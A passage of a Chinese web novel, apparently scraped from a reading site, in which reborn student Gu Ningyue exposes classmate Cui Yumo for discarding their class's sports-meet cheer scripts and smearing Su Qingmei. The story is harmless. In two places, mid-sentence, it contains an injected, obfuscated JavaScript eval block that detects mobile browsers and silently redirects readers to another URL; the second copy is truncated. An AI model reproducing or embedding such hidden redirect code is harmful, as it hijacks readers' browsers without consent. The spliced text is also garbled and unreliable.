“好。”顾宁越接过外套穿上,开心道,“晴眉,谢谢你写的加油稿,我比赛的时候听了很受鼓舞。” 其他待会有比赛的同学说:“苏晴眉,你写的加油稿真好,你能不能也帮我写?” 苏晴眉十分乐意:“好的!” “苏晴眉!”汪怡愤怒的喊声犹如平地一声雷。 顾宁越和苏晴眉蓦地转头,汪怡带着宣传组的同学气势汹汹地走过来。 苏晴眉蹙起眉头,不解地问:“什么事?” 汪怡恨恨地瞪着她,那架势像要把她吞掉:“苏晴眉,我那么信任你让你去送加油稿,你为什么要对加油稿做手脚,只送你和顾宁越的稿子,把别人的都剔掉?!” 苏晴眉满脸错愕:“我没有,我把你给我的加油稿全部送到广播站了。” 汪怡咄咄逼人,像是把刚才受的气一股脑撒出来:“你没有?那你怎么解释你送了加油稿以后我们班就只播了你的稿子,其他同学的都没播?” 苏晴眉紧锁眉头:“我不知道,反正我亲手把稿子交给了主席台的播音员。” 双方相持不下,顾宁越走到苏晴眉前面,对汪怡说:“这件事有蹊跷,但是汪怡你没有证据,不能把过错怪罪到苏晴眉身上。” 汪怡焦躁道:“但是是苏晴眉送的加油稿,整个环节问题最大的就是她。” 顾宁越斩钉截铁:“不,问题最大的是广播站,是收到稿子播音的人,我们在这里争论再多也没用,一起去广播站问清楚不就行了?咱班不是有人在广播站么?” 汪怡顿时醒悟:“对啊,茉茉在广播站,我们去问她就知道了!” “对!我们去问茉茉!”宣传组的同学大声应道,班里其他同学也表示支持。 顾宁越看向身旁的苏晴眉,她的眼里隐隐藏着不安,顾宁越低声安慰她:“不论发生什么我们都一起应对,别担心。” 苏晴眉听了以后眼神很快变得镇定,她朝顾宁越点一点头,眉宇间添了许多勇气。 * 除了接下来有比赛的同学,在场的人都跟着顾宁越和汪怡去了主席台。 主席台上来来往往的人很多,他们不可能一窝蜂涌上去,于是只有当事人和两个同学代表登上台阶。 播音员问:“你们都是来交稿的?” 顾宁越说:“我们找崔屿茉。” 崔屿茉正在念稿,她 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说着,她弯腰去翻抽屉,苏晴眉立即跟着她一起找。 主席台另一端的楼梯走上来一个人,她稀奇地叹道:“这么热闹。” 正在审稿的编辑员说:“梦灵姐你回来啦,比赛怎么样?” “别提了,第一轮就把我刷下来,早知道报短跑不报跳高了。这里怎么回事啊?” “播音组好像漏播了,有同学来找加油稿。” “是吗?哪个班的?” 顾宁越认出这个声音,惊喜地抬头:“乔梦灵!” “宁越?是你啊,找五班的吗?” “对,晴眉早上大概九点过送来的。” 乔梦灵比了个ok的手势,叫编辑员:“查下审稿记录。” 大家都凑过来,编辑员翻开审稿记录本,从第一条记录开始查找,翻完了所有的记录都没有高二五班。 “梦灵姐,我们没有审到高二五班的稿子,播音组没给过我们。” 顾宁越皱眉,压住内心的怒火,直视崔屿茉:“你拿到稿子为什么不给编辑组审核?我们班的加油稿呢?” 崔屿茉两眼无辜:“我是播音组的组长,我也有审稿的权力,有时候忙起来来不及给编辑组。” 顾宁越没时间跟她争辩,把演讲桌抽屉里所有的加油稿都拿出来,和苏晴眉一起按照班级分类,一张一张地仔细找。 乔梦灵拿来两个塑料小板凳给她们:“我也来帮忙。” 汪怡和五班的两个同学互相看了看,也加入她们一起找。 他们找了十多分钟,结果并不如意。 高一高二每个班级的稿子都排列好了,依然没有找到除了苏晴眉和顾宁越以外高二五班的稿子。 苏晴眉无措地看着地上摆满的纸片,手指发凉:“我真的全部交过来了。” 汪怡冷声说:“但事实是这里根本找不到大家的加油稿。” 越是紧急的事态,越是要冷静。 顾宁越沉下心来思考,加油稿出问题崔屿茉脱不了干系,假如真的是崔屿茉搞鬼,她一定提前做了准备,不可能让他们轻易找到稿子。 那么……不妨从别的角度入手,诈她一诈。 顾宁越说:“乔梦灵,我们能看看编辑组的抽屉吗?” 乔梦灵起身打开两只抽屉,里面装着文具和文件:“可以。” 顾宁越在翻了翻里面的东西,随便拿起一叠便签纸,故意大声地说:“找到了,在这!” 众人急忙看过来,顾宁越迅速捕捉他们的表情,每个人都不相同,非常精彩。 有的人如释重负,有的人紧张惊慌。 这几人中当属崔屿茉的神情最古怪,她的目光好几次瞟向角落的垃圾桶。 顾宁越把便签攥在手心,从外面看不清到底是什么样子,她质问那个播音员:“你居然对我们班的加油稿做手脚?!” 播音员顿时脸色煞白,他惊慌失措地摆手:“不是我,我没有!” 顾宁越趁热打铁,从气势上碾压他:“不是你是谁?我们班同学亲手把几十张稿子交到你手上,崔屿茉说只看到了苏晴眉和我的几张,编辑组也说没收到我们班的稿子,可是稿子居然出现在编辑组的抽屉里,这中间除了你没人能搞鬼!” “不是我,真的不是我!” “肯定是你!你不仅破坏我们的稿子,还故意把稿子藏到编辑组的抽屉里栽赃陷害,你是什么居心?你严重违反了广播站和学生会的规则,我们要联合到团委办举报你!” 播音员吓坏了,急得眼角发红,他情急之下指向崔屿茉:“是组长!我拿到你们班稿子的时候确实比较厚,不可能只有几张,我把那捆稿子全部交给组长了!后面我真的不知道怎么回事,你们问她!” 形势再次转变,崔屿茉成为了众人视线的中心,她冷着脸沉默一秒,指一指顾宁越攥着的手:“打开给我们看看稿子。” 顾宁越强调:“刚才播音员说了,他拿到苏晴眉交的稿子时是明确有几十张的,为什么到了你手里就变少了,而且恰好只有苏晴眉和我的呢?” 崔屿茉与她对视几秒,眼中的神色一变再变,不知想了些什么。 须臾,崔屿茉笑了笑,语气放软:“可能是入场式之后太忙,桌子上太乱了,大家不小心弄错了,都是误会。” 顾宁越可不打算这么简单地敷衍过去:“误会?那我和苏晴眉的冤枉就白受了?” “不会不会。”崔屿茉走向苏晴眉,鞠了一躬,“苏晴眉,我向你道歉,对不起。” 末了,她又向五班的同学鞠躬:“是我的疏忽导致了这样严重的后果,对不起。稍后我会整理五班的稿子,酌情补偿,中午我请大家吃饭,再给你们好好地道歉,可以吗?” 有道歉有补偿,汪怡和两个同学已经消了气。 汪怡说:“没关系的茉茉,是误会解除就好了,你快忙吧,待会我收了新的加油稿再送过来,可别再弄错了。” 崔屿茉忙不迭答应:“一定,谢谢大家的理解,真的很抱歉。那我先忙了,中午你们到食堂三楼等我,我请大家吃小炒。” 汪怡他们先走了,顾宁越和苏晴眉还没动。 崔屿茉看她俩一眼,又冷冷地瞥了瞥播音员,坐回座位。 顾宁越走向垃圾桶,拿起两根笔把里面的废纸团拨开,夹出两张纸片,上面赫然写着五班同学的署名。 她把稿子放到崔屿茉面前:“你有什么想说的?” 崔屿茉不去看它,目视前方:“我刚才都说清楚了呀,事情太多,我们太忙了,难免会发生混乱,有的稿子可能放错,有的可能不小心掉到地上被扫走了,我承认这是我的疏忽,所以我跟你们道歉。” 她就是这样一个擅长诡辩的女人。 顾宁越的嘴角挂起一丝自嘲的讥笑,可惜她上辈子看清得太晚,太晚了。 即使是学生,社交和人情也是极其复杂的,顾宁越明白一两次的错误并不能撼动崔屿茉在大部分同学心目中的地位,毕竟真正受到人格伤害的不是那些大多数,他们只要得到了赔偿,就没必要和漂亮有钱的优等生闹掰。 但顾宁越不一样。 她要扼杀崔屿茉这条毒蛇。 她更要保护她的救命恩人,为苏晴眉撑腰,为苏晴眉出气。 顾宁越用手机拍照和录像留了证据,写举报信投去团委办公室。 走向行政楼的路上,苏晴眉面色犹豫。 她跟在顾宁越后面,说出心里的担忧:“顾宁越,崔屿茉跟我道歉了,要不……算了吧。学校里都传她家里跟校长关系很好,你这样为我出头,会影响到你的。” “他们要敢针对我,我就敢上教育局。”顾宁越站定,严肃地面向她,“苏晴眉,你还记得那天在卫生间钱丽的事吗?” 苏晴眉怎会忘记:“记得。” “对方欺负到我们头上了,我们必须打回去。难道我们就这样算了,崔屿茉以后就能跟我们和谐相处吗?” 苏晴眉很认真地想了想,摇头。 顾宁越的话语铿锵有力:“她欺负我们一次,我们狠狠地打回去,她下次再想欺负我们就必定顾忌我们的反击,相反,一再忍气吞声才会一直受欺负。不要等别人把刀架在我们脖子上才知道拼命,要在别人把坏主意打到我们身上的时候就拼命,否则等刀砍过来,一切都晚了。” 就像她可悲又可笑的上一世一样。 等到她深陷崔屿茉给她设下的陷阱才醒悟应该挣扎的时候,早已追悔莫及。 “苏晴眉,不要怕,不管发生什么我都会和你共同面对。” 苏晴眉怔住。 从小到大,母亲教给她的都是要听话,要温顺,尤其是当对方是得罪不起的人时能忍则忍,不然会受欺负,虽然她觉得不能太没骨气,至少做到不卑不亢,但她也觉得面对强敌的欺辱只能忍耐。 可是顾宁越扳正了她的脊梁。 顾宁越用实际行动告诉她:不要忍,要反击,一味的忍耐只会换来变本加厉的欺辱。 苏晴眉这才知道,原来这世上真的存在无所畏惧的果敢和正义,真的存在宁折不屈的至善和刚毅。 她深深凝视顾宁越坚定的面容,突然间心底像是封了一根定海神针,什么都不怕了。 ——顾宁越,只要有你,我就什么都不怕了。 苏晴眉感觉胸膛里好热,心中像有巨浪在翻滚,这股强劲的热浪激荡四肢百骸,让她感到拥有了前所未有的力量,足够与当下晦暗坎坷的人生相斗争的力量。 这份热意涌上她的面颊,烧得她的双眼和鼻尖都泛出红晕,她有好多话想跟顾宁越说,激动的,感谢的,憧憬的……太多太多,全部堵在喉咙说不出口。 苏晴眉不明白自己现在的状态意味着什么,应该怎么办,她只能感受着咽喉里灼热的呼吸,红着眼眶用力点头,她在顾宁越的瞳仁里看见了自己发红的双眸,还有顾宁越慌张自责的神情,以及顾宁越越来越近的脸庞。 下一秒,她被顾宁越抱进了怀里。 “!” 苏晴眉的大脑瞬间空白,耳朵里只剩下:怦怦,怦怦…… 22. 第 22 章 顾宁越眼看着苏晴眉的眼圈越来越红,脸颊也浮出了红色,紧皱的眉头像在极力压抑着恐惧,但依旧认真听顾宁越说的话,一个劲点头。 顾宁越立刻意识到自己对一个十几岁的小女孩太苛刻了,苏晴眉从山区来到市里读书,没有朋友,没有依靠,也就是她重生以后苏晴眉在学校才有了可以一起吃饭聊天的伙伴,刚刚苏晴眉才遭遇了诬陷和冤屈,有害怕的心理很正常,而且苏晴眉害怕的不是自己怎么样,而是怕她受到伤害。她作为朋友应该体谅苏晴眉的心情,而不是自以为是地讲一堆大道理,不顾苏晴眉的想法一意孤行。 顾宁越流露出心疼的眼神,万分自责地抱了抱微微颤抖的苏晴眉,拥抱和微笑是最能传达善意的肢体语言,顾宁越希望能带给苏晴眉一点安慰。 “没关系,晴眉,你别害怕,我不会有事的,我们都会好好的,我保证。” 顾宁越听到苏晴眉抽吸鼻子的声音,拿出纸巾给她。 苏晴眉紧紧握住纸巾,又点点头,从喉咙里挤出音节:“嗯!” 她的状态看起来好些了,顾宁越环顾四周,看到路边的银杏树下有一条长椅:“晴眉,你坐那休息会,我去趟团委办公室就出来,很快的。” 顾宁越感到袖子往下坠了坠,低头看,苏晴眉轻轻拉她的袖口,眉宇坚毅:“我不怕,我跟你一起去!” 虽然不知道苏晴眉刚才经历了怎样的心理路程,从恐慌得说不出话变成了现在这样镇定,但是顾宁越很开心见到这么勇敢的苏晴眉,这种感觉就好像见证了一只蝶蛹的蜕变,充满力量。 顾宁越回她道:“好,我们一起去!” 她们到团委办公室跟团委老师讲明崔屿茉恶意破坏加油稿,诬陷他人的事情原委,提交了书面的举报信还有照片,视频,原稿等证据,并且五班宣传组的同学和广播站编辑组的同学都能作证。 顾宁越怒火中烧地控诉完崔屿茉的恶行,又软下态度跟老师诉苦:“我们在学校上课考试,运动会积极参加比赛,努力写加油稿,我们招谁惹谁了?大家都是同学,我不明白崔屿茉为什么非得针对我们。我当时气上头了想到校门口宣传栏贴大报,拿着大喇叭喊冤,但是冷静下来一想那样太极端了,老师又不是不帮我们。我们知道老师是最严明的,我们相信您一定会按照学生会的规章制度严肃处理!” 事实证据摆在面前,谁都不能敷衍了事,尤其当老师听到顾宁越说要到校门口贴大报,喊喇叭,眉头瞬间皱成川字,她先宽慰了顾宁越和苏晴眉几句,说:“你们放心,这件事会调查清楚,按照规则严厉处罚。” 得到团委老师的承诺后,顾宁越的心情通畅了,总算是出了口恶气。 走出行政楼,校园里的空气清新了很多,平时毫不起眼的花花草草都显得可爱起来。 顾宁越对苏晴眉说:“投诉举报没有你想的那么可怕吧?” 苏晴眉揉揉鼻子:“嗯,刚开始我还是有点怕,我不敢跟老师说话,但是你说完崔屿茉扔加油稿的事我慢慢就不怕了。我在想,凭什么坏蛋干坏事都能大胆,好人做好事就不能大胆?如果我不勇敢地站出来为自己证明清白,那么别人又凭什么帮我?凡事都得有个起头的,为己而战,让大家都看到我的斗志,那些好心人,中立的人才会为我伸出一只援手。说到底,我得自个儿先支棱起来。” 顾宁越忍不住为她喝彩:“晴眉,你说的太对了!我们就是要这样,为己而战。” 她们彼此看看对方,会心一笑。 十一点半,上午的比赛基本都结束了,包都带在身上,顾宁越打算不回班级座位区,准备直接去吃饭,不过这会食堂还没开门,所以她们先到小超市逛一逛,等食堂开门了再去。 还没走到小超市,她们在通往食堂和宿舍的岔路口遇到了刘凯俐。 苏晴眉上前跟刘凯俐打招呼:“刘凯俐,你早上比赛怎么样?” 刘凯俐的声音很虚弱:“还行。”她的脸色不太好,嘴唇有点发白。 苏晴眉观察到她微微弓着身子,一只胳膊抱在腰前,应该是不舒服。 顾宁越也发现了刘凯俐的反常,问她:“你怎么了,是不是肚子痛?” 刘凯俐说:“一点点,比赛之前还好好的,比完之后就有点痛,我在操场坐了一会越痛越厉害,就想回宿舍躺会。” 顾宁越第一直觉是跳高受伤了:“会不会是内伤?” 刘凯俐直接否认,她经常训练跳高,知道一般受伤的情况,小声说:“我不是的,其实是因为我快来那个了,我来之前都会痛两天。” 这下顾宁越和苏晴眉都明白了。 苏晴眉也有这方面的困扰,顿时感同身受,她担忧地搀扶刘凯俐:“我们送你回寝室。” 刘凯俐的身形顿了一下,但很快接受了苏晴眉的好意:“谢谢,麻烦你们了。” “应该的,不客气。” 刘凯俐的寝室在二楼,她回到寝室先坐下,苏晴眉烧了一壶热水,倒了一杯给她喝。 虽然得到了休息,但是刘凯俐的状态不见好,脸色越发的差,后来说话都不利索。 顾宁越觉得这么下去不是个事,说:“刘凯俐,你这样捱下去可能会更严重,我们陪你去医务室吧。” 刘凯俐已经疼得说不出话,有气无力地点点头。 顾宁越抬起她的一只手臂:“晴眉,来搭把手。” “好。” 两人把刘凯俐搀扶到医务室,刚好是午休时间,医务室没开,一楼也没有其他老师在。 苏晴眉扶着刘凯俐在过道里的排椅坐下,看向顾宁越:“现在怎么办?等到下午医务室开门吗?这两天运动会,校医可能下午直接去操场医务处,不回这里。” 安静的走廊里,只能听到刘凯俐时不时痛苦的闷哼。 “别着急,我给郑老师打电话。”顾宁越掏出手机联系班主任。 老郑接到电话后立马赶了过来,校医和他前后脚地赶来了,三个女孩终于看到了希望,松了一口气。 校医很快给刘凯俐看好了病,开了药,叮嘱她这几天一定要好好吃饭,做好保暖。 拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989003|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了药离开医务室,老郑和她们走了一段路,因为是女生宿舍他不方便,就让顾宁越和苏晴眉陪刘凯俐回去。 快到宿舍楼了,苏晴眉说:“顾宁越,你先陪刘凯俐上去吧,我去食堂打包饭菜回去,不然一会就没菜了。” 顾宁越自然不会让苏晴眉出钱,而且中午崔屿茉说请那么多人吃小炒,万一和苏晴眉在食堂碰到了说不定又要惹麻烦,她说:“晴眉,你扶刘凯俐上去,我去买饭。” “好。” 刘凯俐说不出话,看着她们满眼感激。 说完,三个人分头行动。 顾宁越打包了三份盒饭回去刘凯俐的寝室,刘凯俐躺在床上贴暖宝宝,苏晴眉正在看止痛药的说明书。 “这药是饭后吃。”苏晴眉说,她听到脚步声转头,看到顾宁越,“你回来啦。” “嗯。”顾宁越看向上铺,“刘凯俐,你好点了吗?” 刘凯俐摇摇头。 苏晴眉无奈道:“她还没吃药呢,要饭后吃。” 顾宁越尴尬地拍了下脑门:“噢,对的。” 苏晴眉和刘凯俐都笑了笑。 刘凯俐在床上支起小桌板,顾宁越把饭递给她,她吃的不多,苏晴眉用热水给她冲好了止痛颗粒,踩在凳子上小心翼翼地把杯子递给她,柔声提醒:“小心烫哦。” 苏晴眉的语气很温柔,刘凯俐顿时眼眶发红,端着杯子说:“谢谢你苏晴眉,我爸爸都没给我冲过药。” 苏晴眉莞尔:“别客气,你好好休息,我们等你的室友回来再走。” 刘凯俐点头,对着杯子里吹气,让药尽快凉下来。 刘凯俐喝了止痛药以后身体很快好转,她十分感动地向苏晴眉和顾宁越道谢,不由发出感慨:“顾宁越,我明白你为什么突然跟苏晴眉好了,原来苏晴眉根本不像崔屿茉说的那么恶劣,苏晴眉人其实很好。” 她这话一出,顾宁越很疑惑,苏晴眉也一脸懵。 “什么意思?”顾宁越问。 “意思就是,我发现苏晴眉其实挺好的,只是我以前不了解。”刘凯俐解释。 顾宁越走近她一点,问:“崔屿茉都跟你说了些什么?晴眉上学期刚转学过来,她勤劳又善良,为什么班里很多人都排斥她?” 顾宁越早就觉得不对劲了,贫穷不至于让一个班几十个同学都对苏晴眉歧视排挤,加上之前钱丽说的什么扣分丢班级红旗的事,一定是有恶人煽风点火。 苏晴眉这时也回过味了,不解地问:“刘凯俐,我也很想知道,为什么去年我刚转来的时候还很正常,慢慢的大家就都讨厌我了呢?” 刘凯俐看着她们沉默了几秒,叹了声气,回忆道:“最早跟上学期的期中班委会有关……” 刘凯俐的话音徐徐说着,顾宁越听得直皱眉,她忧心地看向身旁的苏晴眉,看见她绷紧嘴唇,纤细的手指藏在肥大的袖子里发颤。 顾宁越的胸口和鼻子一阵酸涩,心疼地牵起她冰凉的手。 别怕,苏。 这辈子,再也不会让你受苦了。 23. 第 23 章 刘凯俐的嗓音很低,语气中流露出惭愧:“当时开班委会议,回顾上半学期的班级工作,挑了几个性质严重的事来复盘,期中影响最不好的就是有一周我们的操行分被扣了很多,那周流动红旗直接没了,听说郑老师在教师周会上还挨了批评。” 这件事顾宁越完全没有任何印象,也许扣操行分,丢红旗对学生时代来说非常严重,但对于带着前世记忆重生过来的顾宁越而言毫无记忆点。 可是顾宁越握在手中的苏晴眉的手却渗出冷汗,顾宁越明白这件事对她而言很沉重,不由得把她的手握得更紧,希望能以此给她多一点力量。 刘凯俐道:“那天崔屿茉说她知道扣分的真相,叫我们开会的不要说出去,也不要因此产生区别对待的想法,自己心里知道就好。我们问她到底怎么回事,她说有一天她拉肚子到学校的时候迟了,那周我们班值日,苏晴眉是值日生,侧门刚好只有她一个人在守,还有一个一班的男生也迟到了,崔屿茉以为苏晴眉不会记她的名字,毕竟是一个班的嘛,值日的时候通融一下自己班很正常,结果没想到纪检部通报批评的时候扣了我们班的分,没扣一班的。” 苏晴眉听她说着,连着叹了好几声气,一开始还很愤懑,听到后面像是磨平了情绪,平静地说:“不是我记的她名字,那个时候也不是只有我一个人。校门值日都是值日老师带两个不同年级班上的值日生,怎么可能只有我一个人守门。” 刘凯俐看向她:“是啊,我现在仔细想才发现有猫腻。以前我根本不了解你,只听崔屿茉说的那些话,就以为你是吃里扒外的叛徒。崔屿茉说你对一班那个男生有好感,所以不记男生的名字,你家庭条件差,经常表现出忌恨她的表情,还故意下绊子坑她。崔屿茉当着几个班委的面自我检讨,承认她的错误,说她犯了错,你记她名字让她受罚是应该的,但她不能原谅你记她的名字不记一班男生的名字,这是叛徒行为,是你损坏了我们班的集体荣誉。” 苏晴眉沉下眉眼,做了一个深呼吸,说:“刘凯俐,不管你信不信,我告诉你那天发生的事实。和我一起在侧校门值日的有龚老师和现在高三七班的一个学姐。崔屿茉的名字是学姐记的,扣的分比迟到扣分多,因为崔屿茉说请假了但是拿不出假条,还想拿校长的名头来压龚老师。一班的那个男生是有假条的,他去医院做了检查赶来学校,所以不算他迟到。我说的这些有龚老师和高三七班的学姐可以作证,我没有对不起五班,更没有对不起崔屿茉,我问心无愧。” 刘凯俐半信半疑:“苏晴眉,你今天帮我照顾我,我很感谢你,我不相信你这么友善的人会做出崔屿茉说的那种事。不过我不明白为什么崔屿茉要那样说,她对我一直都不错,乐于助人,也很大方。” 顾宁越满脸愤怒,开口:“因为崔屿茉把责任推到晴眉身上,害班里扣分的就不是她了,大家只会同情她,她还是那个受欢迎的人,而晴眉是后来的,在学校无依无靠,她料定班里没人会帮晴眉。崔屿茉如果真的受了天大的委屈,她为什么不在全班公开喊冤,而是只跟几个班委开小会的时候卖惨?她这就是心里有鬼,故意骗你们!你们几个居然相信她,还觉得是她善良,暗中保护苏晴眉的面子。我不能说是你们好骗,只能说你们是只相信自己愿意相信的。” 刘凯俐埋下脑袋,脸上的惭愧之情越来越深,小声说:“苏晴眉,对不起啊。既然你是被冤枉的,这半年来你怎么从来不把真相说出来?” 苏晴眉眼中闪过诧异:“我不知道你们班委开会说了什么,我不知道我被冤枉了,况且就算我知道,上学期的时候我告诉你真相,你会相信我吗?不会觉得我是在狡辩推卸责任吗?崔屿茉和我,你和大家更愿意相信谁?” 刘凯俐忙道:“现在我肯定信你。” 苏晴眉无奈得很,最后只能笑了笑:“谢谢。” 顾宁越听懂了,是崔屿茉利用个人势力和家庭背景建立起的话语权,在五班的小领导圈里造谣抹黑苏晴眉的形象,嘴上说不要区别对待,实际上就是在言语暗示要孤立苏晴眉。 虽然起先只有几个班委的心里被种下了“苏晴眉吃里扒外,阴险恶毒”的思想种子,但随着时间的增长和崔屿茉闺蜜团的推波助澜,他们会越来越戴着有色眼镜看待苏晴眉,忽视她的优点,无限放大她的缺点,甚至会把一些莫须有的污点安在她身上。 五班的班委能够影响部分同学的状态,比如组织活动的时候赞美谁,笑话谁;收作业小组批改的时候给谁通融,对谁严格;班内先进评优的时候,给谁提名,给谁投票……各种各样的细节像树根一样盘根错节地扎在学习生活里,悄无声息的影响着每一个人的利益和得失,有的人看得清,争强好胜,拉帮结派,有的人看不清或者不在乎,就无所谓地过活。 不可否认的是,五班班委的态度会引导一部分同学的态度,他们都一致排斥苏晴眉时,同桌传同桌,室友传室友,整个班级都在渐渐与之疏离。 桐溪实中是社会的缩影,残酷的生存法则如同一张大网,早就在其中隐秘的铺开了。 崔屿茉的表面形象经营的多好啊,美丽,聪明,富裕,大方,顾宁越上辈子像被下了迷魂药一样恨不得二十四小时围着她转,如果不是前世遭到了背刺,顾宁越也会和那些同学一样无条件信任崔屿茉,而不是同情一个山区来的“不合群”的新同学。 但是现在,不论崔屿茉做出多肮脏的事,顾宁越都不奇怪。 房间里的氛围很沉闷。 这时虚掩的门从外面被推开,刘凯俐的室友吃完午饭回来了,顾宁越便和苏晴眉离开。 中午她们在刘凯俐那吃的并不好,今天的菜不好吃,她俩也没什么胃口,但是她们下午都有比赛,不能饿肚子。 顾宁越到小卖部买了烤肠,牛肉干和李子园,跟苏晴眉在小卖部的外摆区慢慢吃。 她鼓励苏晴眉:“今天刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏晴眉笑容灿烂,话音充满自信:“好,我会的。” 她喝了一口李子园,惊讶地拿起瓶子查看包装:“好甜,真好喝!” 顾宁越意识到她可能没喝过:“我再买两瓶。” 苏晴眉连忙摆手:“不用啦,这瓶就够了。” 顾宁越想了想,下午还有比赛,不好拿,吃了晚饭再来买也行,就说:“那晚点再买。” 苏晴眉含了一下吸管,抬起头,把滑落的耳发撩到耳朵后面,两只清澈的眸子望着她。 “刘凯俐因为我帮她冲药觉得我友善,那你为什么愿意相信我,帮助我呢,顾宁越?” 顾宁越的目光看进她的双眼,仿佛穿越了时光和宇宙,与一个温馨明亮的病房中的眼眸相重合。 为什么呢…… 因为上一个轮回里,你给了我最温暖的光明。 24. 第 24 章 苏晴眉安静地看着顾宁越,两只眼眸亮亮的,等待她的回答。 顾宁越把前世和她的渊源藏了起来,只说这辈子的事:“就像刘凯俐说的那样,因为你很好啊。这个话题以前我们讨论过,是个人都想和真诚友好的人交朋友,你帮助我学习,帮我在食堂排队,帮我赶蟑螂……苏晴眉,我觉得感情上的事不用那么细致的衡量,事事都要计算就不是纯粹的友谊了。” “嗯,你说的这些我明白,是我没有表达清楚,我想知道的是,你扔掉崔屿茉生日蛋糕的那天为什么选我做同桌?” 顾宁越实话实说:“因为当时教室里只有你旁边有空位。” “所以你是因为刚好我身边有空位,坐我旁边以后觉得我可以交朋友,然后就跟我做同桌了。” “其实以前我就觉得你很好。”顾宁越对她笑了笑,赤忱得像天上的太阳。 苏晴眉被她的笑容感染,也跟着扬起嘴角:“我明白了。” 顾宁越撕开牛肉干给她:“快吃,吃完还能休息会,下午我们都要争冠军。” 苏晴眉的眼中闪烁光点:“我们一起加油。” 中午休息一百分钟,一点五十继续比赛。 下午有很多项目都进入了决赛,还有一部分预赛,五班的拉拉队分成三个小组,主要给决赛的同学加油助威。 跳远决赛的时间安排的比较靠前,顾宁越完成检录以后到候赛区,有两个小组的拉拉队同学为她加油,苏晴眉站在最前面摇动小旗,不过在顾宁越上场之前就被广播通知去准备长跑比赛的检录。 二十分钟后跳远决赛结束,顾宁越拿了第二名的成绩,观赛的同学围上来祝贺她拿了好名次,顾宁越说了两声谢谢,急急忙忙地赶去正在举行八百米预赛的跑道。 观看长跑比赛的人很多,但是高二五班的只有三个。 顾宁越远远地从人群里看到了苏晴眉做的那面加油旗,跑过去,刘凯俐举着小旗,一旁还有庄晓和艾萌,外加一个四班的乔梦灵。 顾宁越的视线匆匆扫过正在跑道上奔跑的比赛选手,她们都穿着运动服,离顾宁越的距离很远,看不清身上的号码布。 顾宁越问刘凯俐:“到苏晴眉了吗?” 刘凯俐赶忙指给她看:“在那,第五个。” 顾宁越循着她指的方向望去,看见一个灵巧的身影跑过弯道,眨眼间就超过了一个人。 刘凯俐激动地叫道:“第四!现在是第四了!”她冲着苏晴眉的方向大喊:“苏晴眉!加油!” 艾萌和乔梦灵也跟着呐喊:“苏晴眉!加油!” 顾宁越沿着地上画的警戒线往前跑,和长跑的选手越来越近,风从操场上吹过来,顾宁越听见她们沉重的呼吸声,先是靠近,然后远离。 熟悉的脚步声在不远处响起,顾宁越扬头望过去,刚好看到苏晴眉迎面跑来,她的呼吸声很稳很轻,顾宁越一听就知道她还没开始发力呢。 “苏晴眉!奖金!”顾宁越笑着对她呼喊,“艾萌要请我们喝奶茶,我还想喝你的!” 紧张比赛中的苏晴眉自然不能说话回应,但她加快了步伐,用实际行动给了顾宁越最好的答复。 半空中传来刘凯俐惊喜的叫声:“第三!又超了一个!苏晴眉好样的!前面只有两个人了,超她们!” 艾萌激动地蹦了蹦:“晴眉加油!” 乔梦灵拉着不敢大声呐喊的庄晓一起高呼:“苏晴眉!冠军就是你!你是龙卷风!晴眉快跑!嗷呜~” 顾宁越站定脚步转身,阳光从天空照亮操场,少年们的矫健的影子一路飞奔,苏晴眉突然加速冲刺,超越前面的第二个同学,紧接着是第一个同学,她把第二名远远甩在身后,还剩最后一百米时再次加速,宛如一道闪电般疾驰而过,冲破终点线! 裁判用力地按下计时器,对苏晴眉竖起大拇指,跑道周围的人群爆发出鼎沸的欢呼声,这一场预赛比往届运动会的决赛都要精彩,而这届运动会的长跑冠军已经毫无悬念。 苏晴眉跑过终点线以后没有立即停下休息,她由快跑降速成慢跑,再降速成快走,最后慢慢地走到一边放松小腿。 顾宁越从艾萌手里拿过苏晴眉的外套和眼镜,走过去先递给她一瓶佳得乐,苏晴眉喝了两口,顾宁越再把眼镜递给她。 “呼……谢谢。” “不客气。怎么样,比赛第一名的感觉?” 苏晴眉连着做了几个深呼吸,看向顾宁越时脸颊有点泛红:“很紧张。” 顾宁越乐道:“你是冠军你紧张什么啊,该紧张的应该是明天参加决赛的其他人。” 苏晴眉露出不好意思的笑容。 刘凯俐高兴地鼓掌:“太好了!顾宁越跳远得了第二名,艾萌铅球得了第三名,苏晴眉是冠军预定,这下我有三顿奶茶可以喝咯~” 乔梦灵跟在一边起哄,她最喜欢热闹了:“我也要我也要!” 庄晓默默地从背后把她拉开,乔梦灵回头冲她撅了噘嘴。 顾宁越才不愿意让苏晴眉把辛苦赢得的奖金花在请同学喝奶茶上呢,再怎么着也该花在苏晴眉自己的衣食住行上,于是她对她们说:“胃口打开,别只想着那几杯奶茶,明天放学我请你们到良记甜品吃杨枝甘露。” 刘凯俐惊讶:“我去,这么大方?我爸爸都舍不得带我吃良记。” 乔梦灵就爱开玩笑,打趣道:“你看宁越对你这么好,你干脆认她当义母吧。” 刘凯俐居然真的做出了考虑的表情:“顾宁越,你能再请我一碗白雪黑珍珠吗?” 顾宁越很爽快:“没问题啊。” 刘凯俐不假思索地抱拳:“义母在上,请受——” “哎!别别别!我还青春着呢,受不起受不起。” 顾宁越赶紧打住她,刘凯俐哈哈大笑,其他人也笑得前俯后仰。 苏晴眉预赛第一的消息很快在五班传开了,而且体育老师说她的成绩非常好,差一点就能打破学校的八百米记录了,这话让老郑在当时在场的几位班主任面前倍有面子,晚自习的时候特意在班里表扬了苏晴眉,肯定了她刻苦学习和勤奋锻炼的精神,鼓励大家都要向她学习。 